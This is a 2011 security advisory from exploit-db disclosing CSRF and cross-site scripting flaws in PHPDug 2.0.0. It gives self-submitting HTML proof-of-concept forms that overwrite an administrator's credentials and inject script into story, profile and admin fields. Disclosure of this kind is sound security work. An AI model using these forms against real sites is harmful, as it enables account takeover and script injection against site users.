PHPDug 2.0.0 – Multiple Vulnerabilities

  • 作者: High-Tech Bridge SA
    日期: 2011-05-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17248/
  • Vulnerability ID: HTB22971
    Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpdug.html
    Product: PHPDug
    Vendor: Kubelabs.com ( http://www.kubelabs.com/ )
    Vulnerable Version: 2.0.0 and probably prior versions
    Vendor Notification: 21 April 2011
    Vulnerability Type: CSRF (Cross-Site Request Forgery)
    Risk level: Low
    Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
    
    Vulnerability Details:
    The vulnerability exists due to failure in the "adm/admin_edit.php" script to properly verify the source of HTTP request.
    
    Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
    
    Attacker can use browser to exploit this vulnerability. The following PoC is available:
    
    <form action="http://host/adm/admin_edit.php" method="post" name="main">
    <input type="hidden" name="id[1]" value="USERID">
    <input type="hidden" name="username[USERID]" value="Admin">
    <input type="hidden" name="password[USERID]" value="test123">
    <input type="hidden" name="Submit" value="Submit">
    </form>
    <script>
    document.main.submit();
    </script>
    
    Vulnerability ID: HTB22970
    Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_phpdug.h
    tml
    Product: PHPDug
    Vendor: Kubelabs.com ( http://www.kubelabs.com/ )
    Vulnerable Version: 2.0.0 and probably prior versions
    Vendor Notification: 21 April 2011
    Vulnerability Type: XSS (Cross Site Scripting)
    Risk level: Medium
    Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
    
    Vulnerability Details:
    User can execute arbitrary JavaScript code within the vulnerable application.
    
    The vulnerability exists due to failure in the "add_story.php", "editprofile.php", "adm/content_add.php", "adm/admin_edit.php" scripts to properly sanitize user-supplied input in "story_url", "email", "title", "username" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
    
    An attacker can use browser to exploit this vulnerability. The following PoC is available:
    
    1.
    
    <form action="http://host/add_story.php" method="post" name="main">
    <input type="hidden" name="story_url" value='http://www.example.com/"><script>alert(document.cookie)</script>'
    >
    <input type="hidden" name="Submit" value="Continue">
    </form>
    <script>
    document.main.submit();
    </script>
    
    2.
    
    <form action="http://host/editprofile.php" method="post" name="main">
    <input type="hidden" name="email" value='email (at) example (dot) com [email concealed]"><script>alert(document.cookie)</script>'>
    <input type="hidden" name="commentst" value="-4">
    <input type="hidden" name="Submit" value="Save Changes">
    </form>
    <script>
    document.main.submit();
    </script>
    
    3.
    
    <form action="http://host/adm/content_add.php" method="post" name="main">
    <input type="hidden" name="id" value="999">
    <input type="hidden" name="title" value='page"><script>alert(document.cookie)</script>'>
    <input type="hidden" name="contentvalue="content">
    <input type="hidden" name="Submit" value="Submit">
    </form>
    <script>
    document.main.submit();
    </script>
    
    4.
    
    <form action="http://host/adm/admin_edit.php" method="post" name="main">
    <input type="hidden" name="id[1]" value="1">
    <input type="hidden" name="username[1]" value='admin<script>alert("XSS")</script>'>
    <input type="hidden" name="password[1]" value="">
    <input type="hidden" name="Submit" value="Submit">
    </form>
    <script>
    document.main.submit();
    </script>